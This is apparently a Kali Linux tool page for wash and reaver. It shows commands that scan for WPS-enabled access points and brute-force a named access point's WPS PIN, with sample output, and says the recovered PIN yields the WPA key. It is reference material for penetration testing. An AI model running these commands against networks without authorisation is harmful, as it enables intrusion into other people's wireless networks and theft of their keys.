wash Usage Example

Scan for networks using the monitor mode interface (-i wlan0mon) on channel 6 (-c 6), while ignoring frame checksum errors (-C):

root@kali:~# wash -i wlan0mon -c 6 -C
BSSID               Ch  dBm  WPS  Lck  Vendor    ESSID

reaver Usage Example

Use the monitor mode interface (-i mon0) to attack the access point (-b E0:3F:49:6A:57:78), displaying verbose output (-v):

root@kali:~# reaver -i wlan0mon -b E0:3F:49:6A:57:78 -v

[+] Waiting for beacon from E0:3F:49:6A:57:78
[+] Associated with E0:3F:49:6A:57:78 (ESSID: ASUS)
[+] Trying pin 12345670


Packages and Binaries:

reaver

Reaver performs a brute force attack against an access point’s Wi-Fi Protected Setup pin number. Once the WPS pin is found, the WPA PSK can be recovered and alternately the AP’s wireless settings can be reconfigured. This package also provides the Wash executable, an utility for identifying WPS enabled access points. See documentation in /usr/share/doc/reaver/README.WASH.
